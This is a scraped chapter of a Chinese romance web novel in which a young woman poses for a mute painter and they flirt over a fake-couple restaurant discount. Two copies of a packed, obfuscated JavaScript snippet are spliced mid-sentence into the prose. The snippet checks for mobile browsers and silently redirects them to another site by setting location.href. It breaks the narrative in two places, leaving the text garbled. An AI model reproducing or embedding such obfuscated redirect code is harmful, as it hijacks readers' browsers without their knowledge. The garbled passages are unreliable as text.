伞外阳光明媚,照在湖面上,波光粼粼,散发着光芒,耀眼得无法直视,绿色铺满大地,迎着热浪,叶子都蔫了。 伞内颜料味浓重,说不出好闻还是难闻,俩人的距离很近,再靠近一厘米,手臂就碰到了。 空间有点狭窄。 突然不刺眼了,江时舟眯着眼抬头,就看到秋千舒在他旁边。 “你涂防晒了吗?”秋千舒问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914530|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江时舟摇头。 秋千舒眼前一黑,再看画框上的画布,还好也没画多少,估计刚弄好颜料,“别画了!我以后不许你在这种天气出来写生!你都不怕晒黑吗?” 江时舟觉得还好。 最近他在和老师学油画,肯定要出来写生练手。 但是,秋千舒不愿意。 “我不喜欢黑的。” 太阳会把人晒黑。 江时舟放下手里的调色盘,默默收拾起自己的东西。 把所有东西再搬回去。 秋千舒就在一旁跟着,帮他遮阳,半路想起什么,于是道:“你别画风景了,我给你当模特,你画我。” 江时舟双手拿的都是东西,听到秋千舒这么说,顿在原地。 也打不了手语。 “怎么?你不愿意?”秋千舒回头,看着僵硬不动的江时舟,见他没反应,又转回头继续走路,“不愿意也没用。” 她主动给他当模特,知足吧。 第二天一大早,秋千舒就跑去找江时舟了。 那时候江时舟刚洗漱完,还没吃饭;阿姨给他做了三明治,秋千舒偷吃了一口,味道还不错。 “我这身好看不,我妈知道我来给你当模特,她特意帮我选的。”秋千舒一边讲,一边跟着江时舟上楼。 长裙不方便,她得掂着裙摆才能爬楼梯。 江时舟走得快,站在最后一个台阶上,逆着光等她。 秋千舒放下裙摆,双手扶着栏杆,站在拐角处,抬头也看他,光影打在她脸上,明媚灿烂。 “你用手语说了什么?”秋千舒走到他面前,问道。 刚刚阳光耀眼,模糊了她的眼睛。 他说,她很漂亮。 光影美丽,她比光影更美丽。 不过,江时舟拒绝再重复比划一遍。 秋千舒撇嘴。 她不就是没看见嘛,爱说不说。 画室很暗,窗帘拉得很严。 房间里的东西很多,但收拾得很整齐,角落里还有一盆栀子花,一进门就能闻到隐隐约约的花香,很淡,很好闻。 江时舟打开灯,找到放在桌子上的线圈本和笔,写下一行字,递给秋千舒。 ——我说,你很漂亮,有没有光都很漂亮。 秋千舒看到江时舟写给她的话,笑着捂住脸,还有点不好意思,“好吧,勉强原谅你刚刚不重复打手语了。” 这种话还是更适合写下来,她还能存放起来。 江时舟还没整理好颜料,让秋千舒先找个地方,坐下休息会儿。 “江时舟。”秋千舒走到画室中央的长沙发那,手扣在背后的拉链上,回头看向他,“你要不帮我一下?” 江时舟一脸蒙圈。 眼瞅着秋千舒都要把背后的拉链拉下来完了,他才意识到她可能误会了,立刻反应过来,撂下手里的画笔,跑过去把秋千舒辛苦半天才抠下来的拉链扯了回去。 而后,走到窗户前,拉开所有的窗帘。 阳光瞬间照满全屋。 秋千舒眨了眨眼睛,侧头问道:“不是裸/模吗?” 原本就有点泛红的耳朵在听到秋千舒的话后更红了,甚至蔓延到脖子。 江时舟咬着嘴唇,打手语:“不是!” “哦~我误会了。”秋千舒弯着眼睛,笑嘻嘻地坐到沙发上。 轻盈漂亮的裙摆落在地板上,散开成花瓣,她整理了一下,而后坐直身子,双手平放在腿上。 秋千舒抬头,无辜又澄澈的眼睛看着江时舟,“我还以为要脱光呢,还想着可惜了这身衣服,原来是穿衣服的啊,好吧。” 那姿态,分明就是调戏他。 什么误会! 信不了一点。 14. 天才 秋千舒不是个好画模。 她很爱动,特别爱动。 也就坚持了十分钟吧,秋千舒就撑不住了,她觉得好无聊。 “江时舟。”秋千舒从原来的优雅地坐着,变成躺在沙发上,亚麻布的沙发很舒服,有气无力地喊道,“我有点困,让我睡一会儿可以吗?” 江时舟看了看已经闭眼躺平的秋千舒,又看了看自己还什么都没画的空白画布,多次拿起画笔打算起稿,最后还是放弃,起身去找毯子。 空调对着她吹,微冷,窗帘打开着,刺眼,也不知道她是怎么做到一分钟入睡的。 秋千舒醒的时候,江时舟已经不在画室了,不过他的手机还在桌子上。她看了一眼时间,刚好到饭点,拿着江时舟的手机,下楼去找他。 江时舟在客厅里摆弄着花店刚送来的鲜花,许是不满意刚放进花瓶里的绣球,又把它拿出来,换了个位置放回去。 感觉也没什么区别。 最后剩下三四支香豌豆落在柜子上,但是瓶子已经放不下任何花了。江时舟捡起那一小捧香豌豆,犹豫着要不要破坏他的插花作品。 估计是太专注于纠结,秋千舒站那边看了他半天,他都没发现她。 “这是什么花?”她走过去,用手机置换他手里的花,解决他的纠结,“真好看。” 江时舟用手机打出花的名字。 ——香豌豆。 看着那一朵朵娇艳的小花朵,秋千舒没忍住,凑上前闻了闻。 是很甜美的奶油香,意外的好闻。 她还以为没什么味道呢,又或者味道很臭。 不是所有花香都是好闻的,漂亮的外表下也可能是百合香。 秋千舒以前没少踩雷,但每次看到什么漂亮的鲜花,还是会上当受骗,忍不住想闻一闻味道。 怪不得叫香豌豆,她喜欢这个花香,秋千舒又低头,去闻花香。 “哦,对了。”秋千舒自动将这一小捧香豌豆归为己有,“我妈让你中午去我家吃饭,她今天要亲自下厨。” * 饭桌上,杨素韵说起秋千舒给江时舟当模特这事,她觉得很离谱,因为她不相信她女儿能老老实实地坐在那里不动。 江时舟很赞同地点了点头。 秋千舒见他居然还同意,板凳往他那搬了搬,拿手指狠狠地戳了一下他的胳膊,眼睛瞪得老大,怒气冲冲地盯着他。 怎么能告状呢! 江时舟有点无奈地眼神辩驳,这个怎么能算告状呢?明明是杨女士先提出来的,他只是赞同一下而已。 杨素韵还是把秋千舒唠叨了一顿,毕竟是秋千舒自己要求给江时舟当画模的,怎么也要有点画模的基本素养吧。 可是让她坐在那里一动不动,真的好难啊。 下午,秋千舒试图坚持了一下,但还是没坚持几分钟。 她觉得,自己好像有那个多动症,静一会儿就浑身难受。 “江时舟,你要不拿手机给我拍张照,然后你比着照片画好了。”秋千舒坐在画室的沙发上,精神萎靡,眼睛都快睁不开了。 怎么人一吃饱就开始犯困呢? 江时舟看着她眼皮垂下又忽然瞪大,反反复复这样,默默拿起手机,打开摄像功能,放大拍了一张。 秋千舒见状,立刻小跑过来看江时舟给她拍的照片,“好一般。” 不难看,但和真人没法比。 秋千舒拿着江时舟的手机,换成前置又自拍了一张,反复对比前置和后置的区别,果然还是自拍好看一点。 “你还是看着我画吧。”秋千舒把手机还给江时舟,继续坐回原位。 江时舟看她实在坐不住,打手语道:“如果你觉得无聊的话,也可以不给我当模特。而且,我也不怎么擅长画人像……” 秋千舒不愿意,她既然说了要给江时舟当模特,那肯定要说到做到,更何况天下没有免费的午餐,她还等着要“报酬”呢。 “我不仅今天来,我明天还来,以后每天我都来。”秋千舒仰头看着江时舟,她只是好动,又不是觉得待这里无聊,“你知道我的课表吧,反正不上课的时候我也没事干。” 与其在宿舍里打游戏,不如来江时舟这看他画画。 周一秋千舒从学校上完课再来,就知道怎么消磨时间了,她从学校的图书馆借了本言情小说,衣服也换了。 “你不介意我换裙子吧。”秋千舒今天的裙子是芭蕾风短裙,怀里抱着粉色封皮的言情小说,很少女的穿搭。 杨素韵给她准备的那个长裙太庄重了,漂亮是漂亮,就是感觉像去参加什么面试,不太适合她和江时舟独处。 而且,她很喜欢自己的腿,又长又直,被室友评价为不漏出来都可惜的程度。 江时舟看着她的新裙子,没有发表意见,只是拿出手机,让她端正地坐好,然后拍了张照片。 虽然但是,看着照片画比看着她本人画,更靠谱。 有了本言情小说,秋千舒可就坐得住了,虽然没一会儿,整个人就完全陷进了沙发里,从坐着变成了趴着。 看到男主向女主表白,俩人踉踉跄跄,秋千舒勾起的嘴角终于忍不住笑出声。 “嘿嘿……”她翻了个身,刚好看见江时舟用一种很莫名其妙的眼神盯着她。 他不太懂,这言情小说有这么好看吗? 秋千舒双手撑着书,遮住自己下半张脸,漏出弯弯的眼睛,声音都比平时甜了几分,“不好意思,这本小说太甜了。” “女主是个画家,男主是她在街上随便拉的模特。”秋千舒和江时舟介绍起她看的这本言情小说的故事情节,“俩人天天待在一起,日久生情。虽然很平淡、日常,但是好好看啊啊啊!” 秋千舒还在笑,她把书放到沙发上,坐起来故作好奇地问道:“江时舟,画家是不是很容易和模特产生爱情啊?” 毕竟天天待在一起。 如果是那种军训爱上教官、打工爱上老板、看病爱上医生的人,那画画确实会爱上模特。 江时舟思考片刻,放下调色盘和画笔,拿手机给秋千舒发了一连串的消息。 【江时舟:坠入爱情属于个人意愿,与容易与否没有关系。】 【江时舟:那是来自于理智和感性的同时沦陷,和相处时间的长短没有关系。】 【江时舟:男女主会相爱,是因为他们自愿相爱,不是因为一个是画家,一个是画模。】 所以她喜欢的小说男女主相爱的原因是意志的自我沦陷? 秋千舒喜欢江时舟的这个解读。 清醒地沉沦。 “你以后会找很多漂亮的女模特吗?”秋千舒又问。 她是个普通人,还是会忍不住想,未来某一天,他会不会和另外一个女人,像和她一样,待在这个画室里,她坐在这里,他为她画像。 单是想想,就受不了。 秋千舒还不知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914531|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江时舟已经决定报国画专业了,现在画油画纯属闲着没事,消磨时间。 比起人物,他更喜欢画山水花鸟。 但是江时舟没有这么说,他发消息反过来问秋千舒。 【江时舟:你以后也会和很多帅气的男演员拍亲密戏吗?】 总不能“只许官兵放火,不许百姓点灯”吧? 他弯眼看着她。 秋千舒把手机放下,双手撑在沙发上,歪着头很确定地看向江时舟,没有停顿,不假思索地说道:“不会,我不想拍亲密戏。” 不管江时舟有没有拿画人像和拍亲密戏和她对比,她都不会。 没有其他原因,单纯她不喜欢。 江时舟眨了眨眼睛,示意秋千舒过来看自己画了两天的成果。 秋千舒纳闷地走过去,寻思着不至于这么快就画好了吧。 然后,她就看见江时舟这么多天,只画了个轮廓…… “不对啊,我记得昨天不长这样啊?”秋千舒这回真不理解了,她记得很清楚,昨天的颜色不是这样的。 江时舟点头,打手语解释:“因为没画好,洗掉重画了。” 这也能改?秋千舒震惊。 “我画不来人像。”江时舟用面前的实际案例告诉她,自己画人像能画得多糟糕,甚至这还是他努力改过的结果,“以后也不会自讨没趣。” 其实秋千舒看不出来好坏,毕竟也没画完,乱成一团,顶多就是觉得画得有点慢,和她想象中的不太一样。 不过,她还是开心的。 他不会画人像,各种意义上的不会。 之后的一连好几天,秋千舒都会下课后来给江时舟当模特,她也终于对江时舟不擅长画人像有了确切的概念。 与其说他不擅长画,倒不如说他要求太高,永远都觉得自己画得不好。 他想要画出真人的神韵,但他笔下的人像只是一幅画,没有灵魂,也不出众,模特美即模特美,和他的笔力无关。 于是反反复复地更改,最后直接把那副画给换掉了,说再重新给秋千舒画一幅。 秋千舒自是乐意。 反正她在江时舟的画室里待着,也不耽误期末复习,甚至比在图书馆还好,有好吃的好喝的,吃个苹果都有人给她削皮切块。 “江时舟,我天天给你当模特,你是不是也得给我点报酬啊?”秋千舒坐在地毯上,一边拿着叉子小口吃苹果,一边翻着她明天要考的专业课笔记。 还剩下两门考试,她马上就也要放暑假了。 江时舟看着即将完成的画像,又看了看在那里翻书的秋千舒,不知道她想要干什么。 “你请我吃饭吧!”秋千舒抬头看向江时舟,眼里满是期待。 只是吃饭吗?这么简单?江时舟有点不相信,但还是点了点头。 秋千舒见他答应,书都不看了,也不复习了,合上书就和江时舟说起她想去哪里吃饭,“江南街新开了家餐厅,环境巨好,拍照巨出片。下周二有情侣七折优惠,咱俩假扮情侣,也去那吃饭呗。” 假扮情侣? 什么餐厅做这种活动? 江时舟拿起手机搜了一下这家餐厅,新店开业,活动一直做到七月中旬,周二、周三闺蜜七折,周一、周五情侣七折,其余时间全场八折。 江时舟:“……” 能想出这种打折方式的人,也是个天才。 其实,没活动也可以不办的。